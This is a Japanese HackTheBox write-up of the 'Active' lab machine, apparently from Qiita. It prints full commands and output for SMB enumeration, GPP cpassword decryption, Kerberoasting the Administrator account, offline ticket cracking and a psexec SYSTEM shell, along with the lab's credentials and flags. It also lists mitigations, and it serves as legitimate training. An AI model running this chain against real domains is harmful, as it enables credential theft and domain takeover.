0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HackTheBox — Active Writeup

難易度: Easy
OS: Windows Server 2008 R2 SP1
カテゴリ: Active Directory, SMB, GPP, Kerberoasting
学習テーマ: GPP パスワード漏洩, Kerberoasting, Pass-the-Password


目次

  1. マシン概要
  2. 偵察 (Reconnaissance)
  3. SMB 匿名列挙と GPP パスワード漏洩
  4. 初期侵入 (Initial Foothold)
  5. 権限昇格 (Privilege Escalation)
  6. まとめと学習ポイント
  7. 参照文献

マシン概要

Active は Active DirectoryGroup Policy Preferences (GPP) の古典的な脆弱性を題材にした Windows マシンです。
匿名で読み取れる SMB 共有に残された Groups.xml から暗号化済みパスワード (cpassword) を取得し、Microsoft が公開している固定鍵で復号します。取得した SVC_TGS アカウントで BloodHound による権限分析を行い、Administrator アカウントが Kerberoasting 攻撃の対象であることを発見。TGS チケットをクラックして管理者権限を奪います。

項目
IP アドレス 10.129.37.218
ドメイン名 active.htb
ホスト名 DC
OS Windows Server 2008 R2 SP1 (Build 7601)

偵察 (Reconnaissance)

Nmap — 基本スキャン

nmap -sS -sV -sC -Pn 10.129.37.218
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-02 08:37 +0000
Nmap scan report for 10.129.37.218
Host is up (0.25s latency).
Not shown: 982 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-02 08:38:09Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49167/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   2.1: 
|_    Message signing enabled and required
|_clock-skew: -6s
| smb2-time: 
|   date: 2026-05-02T08:39:09
|_  start_date: 2026-05-02T08:36:40

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.66 seconds

Nmap — 全ポートスキャン

nmap -T4 -sV -A -p- 10.129.37.218
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-02 08:37 +0000
Nmap scan report for 10.129.37.218
Host is up (0.25s latency).
Not shown: 65512 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-02 08:47:06Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  tcpwrapped
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc         Microsoft Windows RPC
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49162/tcp open  msrpc         Microsoft Windows RPC
49167/tcp open  msrpc         Microsoft Windows RPC
49169/tcp open  msrpc         Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=5/2%OT=53%CT=1%CU=40559%PV=Y%DS=2%DC=T%G=Y%TM=69F5BA70
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=109%TI=I%CI=I%II=I%SS=S%TS=7
OS:)SEQ(SP=103%GCD=1%ISR=10B%TI=I%CI=I%II=I%SS=S%TS=7)SEQ(SP=104%GCD=1%ISR=
OS:108%TI=I%CI=I%II=I%SS=S%TS=7)SEQ(SP=107%GCD=1%ISR=10B%TI=I%CI=I%II=I%SS=
OS:S%TS=7)SEQ(SP=107%GCD=1%ISR=10D%TI=I%CI=I%II=I%SS=S%TS=7)OPS(O1=M552NW8S
OS:T11%O2=M552NW8ST11%O3=M552NW8NNT11%O4=M552NW8ST11%O5=M552NW8ST11%O6=M552
OS:ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=
OS:80%W=2000%O=M552NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2
OS:(R=N)T3(R=N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80
OS:%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q
OS:=)T7(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G
OS:)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -6s
| smb2-security-mode: 
|   2.1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-05-02T08:48:26
|_  start_date: 2026-05-02T08:36:40

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   248.89 ms 10.10.14.1
2   249.21 ms 10.129.37.218

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 652.19 seconds

Nmap — SMB 脆弱性スキャン

既知の SMB 脆弱性(EternalBlue 等)が使えないかを確認します。

nmap --script smb-vuln* -p 135,139,445 10.129.37.218
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-02 08:37 +0000
Nmap scan report for 10.129.37.218
Host is up (0.25s latency).

PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR

Nmap done: 1 IP address (1 host up) scanned in 16.47 seconds

偵察結果の考察

Nmap の結果から、このマシンが Active Directory ドメインコントローラーであることが確定します。

ポート サービス 判断根拠
53 DNS AD の名前解決。/etc/hostsactive.htb を追記する必要あり
88 Kerberos AD の認証基盤。DC 確定の証拠。Kerberos 攻撃(ASREPRoasting・Kerberoasting)の余地を調査する
389 / 3268 LDAP / GC ドメインオブジェクトの格納先。LDAP が返すドメイン名は active.htb
445 SMB 匿名(NULL)セッションが許可されているかを最初に確認すべき。共有の読み取りが可能なら GPO ファイルなどの機密情報が漏洩している可能性がある
9389 AD Web Services PowerShell AD モジュールが使用するポート

SMB 脆弱性スキャンの結果から
EternalBlue (MS17-010) などの既知の RCE 脆弱性は確認されませんでした。これは「パッチが当たっている」か「SMBv1 が無効」である可能性を示します。したがって既知 exploit による直接 RCE ではなく、設定不備・情報漏洩の観点から攻撃を進める方針に切り替えます。

/etc/hosts に以下を追記します。

10.129.37.218   active.htb dc.active.htb

SMB 匿名列挙と GPP パスワード漏洩

NetExec による匿名共有列挙

認証なし(NULL セッション)で SMB 共有を列挙します [1]。

netexec smb 10.129.37.218 -u '' -p '' --shares
SMB         10.129.37.218   445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.37.218   445    DC               [+] active.htb\: 
SMB         10.129.37.218   445    DC               [*] Enumerated shares
SMB         10.129.37.218   445    DC               Share           Permissions     Remark
SMB         10.129.37.218   445    DC               -----           -----------     ------
SMB         10.129.37.218   445    DC               ADMIN$                          Remote Admin
SMB         10.129.37.218   445    DC               C$                              Default share
SMB         10.129.37.218   445    DC               IPC$                            Remote IPC
SMB         10.129.37.218   445    DC               NETLOGON                        Logon server share 
SMB         10.129.37.218   445    DC               Replication     READ            
SMB         10.129.37.218   445    DC               SYSVOL                          Logon server share 
SMB         10.129.37.218   445    DC               Users  

列挙結果から読み取れること

  • Null Auth: True → 匿名セッションが許可されています。これは Windows Server 2008 R2 以前の古いデフォルト設定の名残です。
  • Replication 共有が READ 権限で匿名アクセス可能です。ReplicationSYSVOL のレプリカとして使われることが多く、Group Policy 関連ファイルが含まれている可能性があります。SYSVOL には GPO ファイルが格納されており、過去に Groups.xml にパスワードが平文(AES 暗号化)で保存されていた事例(CVE-2014-1812)が広く知られています [2]。

Replication 共有の全ファイルダウンロード

Replication 共有に接続し、全ファイルを再帰的に取得します。

smbclient //10.129.37.218/Replication -L
Password for [WORKGROUP\root]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sat Jul 21 10:37:44 2018
  ..                                  D        0  Sat Jul 21 10:37:44 2018
  active.htb                          D        0  Sat Jul 21 10:37:44 2018

                5217023 blocks of size 4096. 266739 blocks available
smb: \> get active.htb
NT_STATUS_FILE_IS_A_DIRECTORY opening remote file \active.htb
smb: \> cd active.htb\
smb: \active.htb\> dir
  .                                   D        0  Sat Jul 21 10:37:44 2018
  ..                                  D        0  Sat Jul 21 10:37:44 2018
  DfsrPrivate                       DHS        0  Sat Jul 21 10:37:44 2018
  Policies                            D        0  Sat Jul 21 10:37:44 2018
  scripts                             D        0  Wed Jul 18 18:48:57 2018

                5217023 blocks of size 4096. 261523 blocks available
smb: \active.htb\> recurse on
smb: \active.htb\> prompt off
smb: \active.htb\> mget *
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI of size 23 as Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\GPT.INI of size 22 as Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/GPT.INI (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy\GPE.INI of size 119 as Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/Group Policy/GPE.INI (0.1 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Registry.pol of size 2788 as Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol (1.4 KiloBytes/sec) (average 0.6 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 1098 as Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf (1.0 KiloBytes/sec) (average 0.6 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 3722 as Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf (3.6 KiloBytes/sec) (average 1.0 KiloBytes/sec)
smb: \active.htb\> exit

ダウンロードしたファイルの中で最重要なのは Groups.xml
Policies/{GUID}/MACHINE/Preferences/Groups/Groups.xml というパスは、グループポリシーの「ユーザー設定 (Group Policy Preferences)」でローカルグループやローカルアカウントを管理する際に生成されるファイルです。このファイルにはアカウント名とともに cpassword という属性が含まれることがあります。

Groups.xml の内容確認

cd Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups
ls
Groups.xml
cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>

GPP cpassword の仕組みと脆弱性 (CVE-2014-1812) [2]

Group Policy Preferences (GPP) は Windows Server 2008 で導入された機能で、グループポリシー経由でローカルアカウントのパスワードを配布できます。しかし、このパスワードは AES-256 で暗号化されてから cpassword 属性として XML に保存されます。

問題は、その暗号化鍵が Microsoft のドキュメントに公開されてしまっていたことです。つまり cpassword を取得した攻撃者は誰でも平文に復号できます。Microsoft は 2014 年にパッチ (MS14-025) を公開しましたが、既存の Groups.xml に保存済みの cpassword は削除されません。そのため、古い環境では今でも有効な攻撃手法です。

gpp-decrypt による cpassword の復号

gpp-decrypt ツールを使い、公開鍵で cpassword を即座に復号します [2]。

gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
GPPstillStandingStrong2k18

取得したクレデンシャル: active.htb\SVC_TGS : GPPstillStandingStrong2k18


初期侵入 (Initial Foothold)

svc_tgs 権限での SMB 確認

取得したクレデンシャルで SMB 共有へのアクセス範囲が広がるかを確認します。

netexec smb 10.129.37.218 -u 'svc_tgs' -p 'GPPstillStandingStrong2k18' --shares
SMB         10.129.37.218   445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.37.218   445    DC               [+] active.htb\svc_tgs:GPPstillStandingStrong2k18 
SMB         10.129.37.218   445    DC               [*] Enumerated shares
SMB         10.129.37.218   445    DC               Share           Permissions     Remark
SMB         10.129.37.218   445    DC               -----           -----------     ------
SMB         10.129.37.218   445    DC               ADMIN$                          Remote Admin
SMB         10.129.37.218   445    DC               C$                              Default share
SMB         10.129.37.218   445    DC               IPC$                            Remote IPC
SMB         10.129.37.218   445    DC               NETLOGON        READ            Logon server share 
SMB         10.129.37.218   445    DC               Replication     READ            
SMB         10.129.37.218   445    DC               SYSVOL          READ            Logon server share 
SMB         10.129.37.218   445    DC               Users           READ 

アクセス権の変化
匿名セッションと比べ、svc_tgs では NETLOGONSYSVOLUsers 共有への読み取りアクセスが追加されました。Users 共有には各ユーザーのプロファイルフォルダが含まれており、user.txt の取得が期待できます。
ただし ADMIN$C$ は依然としてアクセス不可です。svc_tgs一般ドメインユーザーに過ぎないことが確認でき、ここからさらなる権限昇格が必要です。

Users 共有から user.txt の取得

smbclient //10.129.37.218/Users -U 'svc_tgs%GPPstillStandingStrong2k18'
Try "help" to get a list of possible commands.
smb: \> dir
  .                                  DR        0  Sat Jul 21 14:39:20 2018
  ..                                 DR        0  Sat Jul 21 14:39:20 2018
  Administrator                       D        0  Mon Jul 16 10:14:21 2018
  All Users                       DHSrn        0  Tue Jul 14 05:06:44 2009
  Default                           DHR        0  Tue Jul 14 06:38:21 2009
  Default User                    DHSrn        0  Tue Jul 14 05:06:44 2009
  desktop.ini                       AHS      174  Tue Jul 14 04:57:55 2009
  Public                             DR        0  Tue Jul 14 04:57:55 2009
  SVC_TGS                             D        0  Sat Jul 21 15:16:32 2018

                5217023 blocks of size 4096. 284766 blocks available
smb: \> cd SVC_THS
cd \SVC_THS\: NT_STATUS_OBJECT_NAME_NOT_FOUND
smb: \> cd SVC_TGS
smb: \SVC_TGS\> dir
  .                                   D        0  Sat Jul 21 15:16:32 2018
  ..                                  D        0  Sat Jul 21 15:16:32 2018
  Contacts                            D        0  Sat Jul 21 15:14:11 2018
  Desktop                             D        0  Sat Jul 21 15:14:42 2018
  Downloads                           D        0  Sat Jul 21 15:14:23 2018
  Favorites                           D        0  Sat Jul 21 15:14:44 2018
  Links                               D        0  Sat Jul 21 15:14:57 2018
  My Documents                        D        0  Sat Jul 21 15:15:03 2018
  My Music                            D        0  Sat Jul 21 15:15:32 2018
  My Pictures                         D        0  Sat Jul 21 15:15:43 2018
  My Videos                           D        0  Sat Jul 21 15:15:53 2018
  Saved Games                         D        0  Sat Jul 21 15:16:12 2018
  Searches                            D        0  Sat Jul 21 15:16:24 2018

                5217023 blocks of size 4096. 284766 blocks available
smb: \SVC_TGS\> cd Desktop
smb: \SVC_TGS\Desktop\> dir
  .                                   D        0  Sat Jul 21 15:14:42 2018
  ..                                  D        0  Sat Jul 21 15:14:42 2018
  user.txt                           AR       34  Sat May  2 08:37:37 2026

                5217023 blocks of size 4096. 284766 blocks available
smb: \SVC_TGS\Desktop\> get user.txt
getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \SVC_TGS\Desktop\> cd ../..
smb: \> dir
  .                                  DR        0  Sat Jul 21 14:39:20 2018
  ..                                 DR        0  Sat Jul 21 14:39:20 2018
  Administrator                       D        0  Mon Jul 16 10:14:21 2018
  All Users                       DHSrn        0  Tue Jul 14 05:06:44 2009
  Default                           DHR        0  Tue Jul 14 06:38:21 2009
  Default User                    DHSrn        0  Tue Jul 14 05:06:44 2009
  desktop.ini                       AHS      174  Tue Jul 14 04:57:55 2009
  Public                             DR        0  Tue Jul 14 04:57:55 2009
  SVC_TGS                             D        0  Sat Jul 21 15:16:32 2018

                5217023 blocks of size 4096. 284766 blocks available
smb: \> exit
cat user.txt
0a53eb464e60cad8ee5d77e9cc4d0079

🏁 user.txt 取得完了


権限昇格 (Privilege Escalation)

BloodHound による権限経路の分析

BloodHound とは
BloodHound は Active Directory 環境をグラフ理論で分析するツールです。ユーザー・グループ・コンピューター・GPO などのオブジェクトをノードとし、メンバーシップや ACL の関係をエッジとして表現し、低権限ユーザーから Domain Admin への最短経路を機械的に発見します [3]。

svc_tgs のクレデンシャルで AD 情報を収集します。

bloodhound-python -c All -u 'svc_tgs' -p 'GPPstillStandingStrong2k18' -d active.htb -ns 10.129.37.218 -c all --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: active.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc.active.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc.active.htb
INFO: Testing resolved hostname connectivity dead:beef::c1:e412:553:e7e1
INFO: Trying LDAP connection to dead:beef::c1:e412:553:e7e1
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.active.htb
INFO: Testing resolved hostname connectivity dead:beef::c1:e412:553:e7e1
INFO: Trying LDAP connection to dead:beef::c1:e412:553:e7e1
INFO: Found 5 users
INFO: Found 41 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.active.htb
INFO: Done in 00M 50S
INFO: Compressing output into 20260502090752_bloodhound.zip

BloodHound グラフの読み解き

BloodHound の GUI に zip を取り込み、"List all Kerberoastable Accounts" クエリを実行すると以下のグラフが表示されます。

BloodHound — Kerberoastable Account: Administrator

BloodHound の結果から Kerberoasting 攻撃への思考プロセス

グラフを見ると、Administrator アカウントに SPN (Service Principal Name) が設定されていることが確認できます。具体的には active/CIFS:445 という SPN です。

なぜ SPN の存在が重要なのか?
Kerberos 認証では、クライアントがサービスへアクセスする際に KDC(鍵配布センター)に対して「TGS(チケット許可サービス)チケット」を要求します。TGS チケットはそのサービスのアカウントのパスワードハッシュで暗号化されています。つまり、ドメインユーザーであれば誰でも任意の SPN に対する TGS チケットを要求でき、取得したチケットをオフラインでクラックすることでサービスアカウントのパスワードを入手できます。これが Kerberoasting 攻撃です [4]。

なぜ Administrator が Kerberoastable なのか?
通常、SPN はサービスアカウント(例: SVC_SQL)に設定されます。しかし、このマシンでは Administrator アカウント自身に active/CIFS:445 という SPN が設定されています。これは管理上の誤設定であり、ドメイン管理者アカウントのパスワードハッシュが Kerberoasting の対象になるという非常に重大な脆弱性です。

SVC_TGS というアカウント名も示唆的
アカウント名の TGS は "Ticket Granting Service" の略であり、このマシンが Kerberoasting を学ぶ意図で設計されていることを暗示しています。BloodHound のグラフと組み合わせることで、「SVC_TGS を使って Administrator の TGS チケットを取得し、クラックせよ」という攻撃経路が明確に浮かび上がります。


Kerberoasting — GetUserSPNs.py による TGS チケット取得

Impacket の GetUserSPNs.py を使い、Administrator の TGS チケットを取得します [5]。

python3 GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.37.218 -request
Impacket v0.14.0.dev0+20260416.163315.5c681930 - Copyright Fortra, LLC and its affiliated companies 

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation 
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 19:06:40.351723  2026-05-02 08:37:39.949341             



[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$b7f09db7480ac72b693cc01db71529ef$679f413969b6fee5ca2cd42931d4942d517ccadd900659d40552591af48fea3f16d206d7550b84a863284a2334816ca1d512d511cd60e6be4af7d288fbe57ddc51b839503639fa71ce9f3fe01517a64a34d9a6cffc01c466592d4efe7695bc31fcf362325a79351c34fcee4abd2e0c93cbd5607d61765baaa25c973410e54d6c50ecc0afba1dea648f7a55013af626ffa0ba8b0fd05b17fe8cd35bbd41f3606952d2a7b4e653550b4b7b6eead9c3a369de82844255d2ed2fda50eded1204975632251c1a40c9989c6019815bffd032aa6b70380b4f65673fa6db18676f87f0d8b2cbcedcf34b6e18161995fa0e50848c481db9bd1fa0f2b4e4e601a4f0022474f0c704813e212e48a6ae386dc441a65512e8e8771b5dcfe3d51d7967a5ac60d15743343ed88aac7e9bc6f3c28dd3929679b9689227f2b24cbb953537cb9dac36ad6611b4878ae0657d66d83499e64c566a46cd5afaf3ab76a0d40cab050a8f68015546141ff8e20ce0ef705c3d6aa4b1b732e54f4be45995492f2fd3cc00774440f42d6e1c5a51f1c76ae11cbe9cf8d88cee92c8c8bf53c0ec9b879ec303fc86fea8d2e3547d09be13420c991e1245af2a8caac6b7ce8c58cb8dcfffe9553e5a83249c094d3f221865525b436a171d3f19946a5f45c34608eef8072fc9a4434a2ab60f3b8df67c079a8eba70551251465b9c9298b38228d0cf5874eead428c296464978daed622aa134a6faf78394ef60f8934fb5a1eded5f501b304cb132aacbf11613ab31851078ad7492f520866ba0334db540e9e5de480a7e6926e66e50efd368422d1315f7145fb2dcec8ce8e106ea5fe92de76371395ed10984143427fe00aa5d6f2aa68b4e4b6d7478264614dd8673a4715e3b54d08d27b341fda4cda435f7b2260d7c97a442e6f0b45e936fcb7ab0f1d5898fa8e4b9f6218ab5fd7cb305607f7a650e16094b9273fa40f39663dec27df4be35945a5a1297ac45fe63e2529c7005db0b87860ac99e7b274550a2cd0232d6f0f09fa0932359697749abe0faec4ca9a73425339a40a4a61a4d46db5b6ac7e75c2943156a9581373cc93018c3beb61e8c072632bbf30596c3223e548eac534c170acf6d6af2608c95eaa05315c844833d3b57e55a0d6afa48a485955d67e83b4295eb465a86643a8bc23ec9a9c3d83a828a713fd94cdc61b01797842ee93e44030fd38d835f0c6c4a9d3dc028fa7223c9acdedfcc3701b7f2914d4700bf7d936f8aa9a0509

出力の読み方
$krb5tgs$23$*Administrator$ACTIVE.HTB$... という形式のハッシュが取得できました。23 は RC4-HMAC (etype 23) を表しており、John the Ripper や Hashcat でクラック可能なハッシュ形式です。これを rockyou.txt などのワードリストでオフラインクラックします。

John the Ripper によるチケットのクラック

取得したハッシュを hash.txt として保存し、クラックします。

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

結果: Administrator のパスワードは Ticketmaster1968 と判明しました。

取得したクレデンシャル: active.htb\Administrator : Ticketmaster1968


psexec.py による Administrator ログインと root.txt 取得

python3 psexec.py administrator:Ticketmaster1968@active.htb
Impacket v0.14.0.dev0+20260416.163315.5c681930 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on active.htb.....
[*] Found writable share ADMIN$
[*] Uploading file BaScqZUy.exe
[*] Opening SVCManager on active.htb.....
[*] Creating service CmSR on active.htb.....
[*] Starting service CmSR.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> cd ../..
 
C:\> cd Users\Administrator\Desktop
 
C:\Users\Administrator\Desktop> type root.txt
eab4576581b7ba1d480893104974b913

🏁 root.txt 取得完了 — マシン攻略!


まとめと学習ポイント

攻略チェーン全体図

[偵察]
 Nmap → AD 環境 (DC) を特定 (Windows Server 2008 R2 SP1)
    │    SMB 脆弱性スキャン → EternalBlue 等は使えない → 設定不備を狙う方針へ
    ▼
[SMB 匿名列挙]
 netexec --shares → Replication 共有が匿名 READ 可能
    │
    ▼
[GPP cpassword 漏洩 (CVE-2014-1812)]
 smbclient → Replication 共有から全ファイルダウンロード
    │  → Groups.xml に cpassword を発見
    │  → gpp-decrypt → SVC_TGS : GPPstillStandingStrong2k18
    ▼
[初期侵入]
 netexec → svc_tgs で Users 共有が READ 可能に
    │  → smbclient で SVC_TGS\Desktop\user.txt 取得
    ▼
[情報収集]
 bloodhound-python → AD グラフデータ収集
    │
    ▼
[BloodHound 分析]
 "List all Kerberoastable Accounts" クエリ
    │  → Administrator に SPN (active/CIFS:445) が設定されている
    │  → ドメイン管理者アカウント自体が Kerberoasting の標的 → 攻撃決定
    ▼
[Kerberoasting]
 GetUserSPNs.py → Administrator の TGS チケット ($krb5tgs$23$) 取得
    │  → John the Ripper → Ticketmaster1968
    ▼
[ドメイン制圧]
 psexec.py Administrator:Ticketmaster1968@active.htb
    │  → SYSTEM シェル → root.txt

脆弱性の根本原因と対策

攻撃手法 根本原因 対策
SMB NULL セッション 匿名アクセスが許可されたまま RestrictAnonymous = 2 を設定し、NULL セッションを無効化する
GPP cpassword 漏洩 (CVE-2014-1812) Groups.xml に cpassword が残存している MS14-025 を適用、既存の Groups.xml を手動で削除する。SYSVOL/Replication 共有の匿名アクセスを制限する
Kerberoasting Administrator に不要な SPN が設定されている 管理者アカウントへの SPN 設定を削除する。サービスアカウントには Managed Service Account (MSA) を使用し、自動的に強力なパスワードを設定させる
弱いサービスアカウントパスワード クラック可能な辞書ワードを使用している 25 文字以上のランダム文字列を使用する。MSA/gMSA を使えばパスワード管理が自動化される

参照文献

[1] NetExec (nxc). "SMB Protocol Module." https://github.com/Pennyw0rth/NetExec

[2] MS14-025 / CVE-2014-1812. "Vulnerability in Group Policy Preferences Could Allow Elevation of Privilege." https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-025

[3] BloodHoundAD. "BloodHound (Legacy)." https://github.com/BloodHoundAD/BloodHound

[4] Tim Medin. "Kerberoasting." https://attack.mitre.org/techniques/T1558/003/

[5] Fortra. "Impacket — GetUserSPNs.py." https://github.com/fortra/impacket

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?